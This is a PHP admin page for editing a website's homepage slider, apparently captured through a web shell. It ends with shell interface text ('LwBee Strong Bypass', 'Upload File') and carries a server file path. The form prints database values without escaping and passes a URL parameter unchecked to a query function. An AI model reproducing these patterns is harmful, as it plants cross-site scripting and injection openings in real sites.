/home3/vehiclea/public_html/admin-yashuenterprises-in/sliderEdit.php
<?php
$_SESSION['active'] = 'homeSliders';
include 'header.php';
include 'sidelinks.php';
include('include/functions.php');
if(!empty($_GET['editId'])){
$slider_edit = slider_edit($_GET['editId']);
$row = mysqli_fetch_array($slider_edit);
}
if(!empty($_POST['submit'])){
slider_edit_data();
}
?>
<div class="pcoded-content">
<div class="page-header card">
<div class="row align-items-end">
<div class="col-lg-8">
<div class="page-header-title">
<i class="feather icon-clipboard bg-c-blue"></i>
<div class="d-inline">
<h5>Slider Form Inputs</h5>
<span>To Change Slider Heading,Content and Images Here</span>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="page-header-breadcrumb">
<ul class=" breadcrumb breadcrumb-title">
<li class="breadcrumb-item">
<a href="#"><i class="feather icon-home"></i></a>
</li>
<li class="breadcrumb-item"><a href="#">Form Components</a>
</li>
<li class="breadcrumb-item">
<a href="#">Slider Form Inputs</a>
</li>
</ul>
</div>
</div>
</div>
</div>
<div class="pcoded-inner-content">
<div class="main-body">
<div class="page-wrapper">
<div class="page-body">
<div class="row">
<div class="col-sm-12">
<?php
// if(!empty($_POST['update'])){
// topStrip_edit_data();
// }
if(!empty($_GET['upd'])){
?>
<div align="center"><h4 style="color:green;">Updated Data Successfully </h4></div>
<?php
}
?>
<div class="card">
<div class="card-header">
<h5>Slider Form Inputs</h5>
<span>Add class of <code>.form-control</code> with <code><input></code> tag</span>
</div>
<div class="card-block">
<h4 class="sub-title">Slider Inputs</h4>
<form method="post" enctype="multipart/form-data">
<div class="form-group row">
<label class="col-sm-2 col-form-label">Heading</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="heading" value="<?= $row['heading']?>">
</div>
</div>
<div class="form-group row">
<label class="col-sm-2 col-form-label">Content</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="content" value="<?= $row['content']?>">
</div>
</div>
<div class="form-group row">
<label class="col-sm-2 col-form-label">Image</label>
<div class="col-sm-10">
<img id="image_preview1" <?php if($row['image'] == True) { ?> src="<?= $row['image']?>" <?php } else { ?> src="assets/uploads/user.png" <?php } ?> style="height:100px;width:100px;" />
<input type="file" class="form-control" name="formFile" name="imgUp" id="imgUp" onchange="readURL1(this);">
<input type="hidden" name="fileimage" id="fileimage" value="<?= $row['image']?>">
</div>
</div>
<div class="form-group row">
<div class="col-sm-3"> </div>
<input type="hidden" name="edit_data" id="edit_data" value="<?= $row['id']?>">
<div class="col-sm-6">
<p style="text-align: center;">
<input type="submit" name="submit" value="Update" class="btn waves-effect waves-light btn-grd-success">
</p>
</div>
<div class="col-sm-3"> </div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script type="text/javascript">
function readURL1(input) {
if (input.files && input.files[0]) {
var reader = new FileReader();
reader.onload = function(e) {
$('#image_preview1').attr('src', e.target.result);
}
reader.readAsDataURL(input.files[0]);
}
}
$("#imgUp").change(function() {
readURL1(this);
});
</script>
<?php include 'footer.php'; ?>
@LwBee Strong Bypass
Upload File
Create New File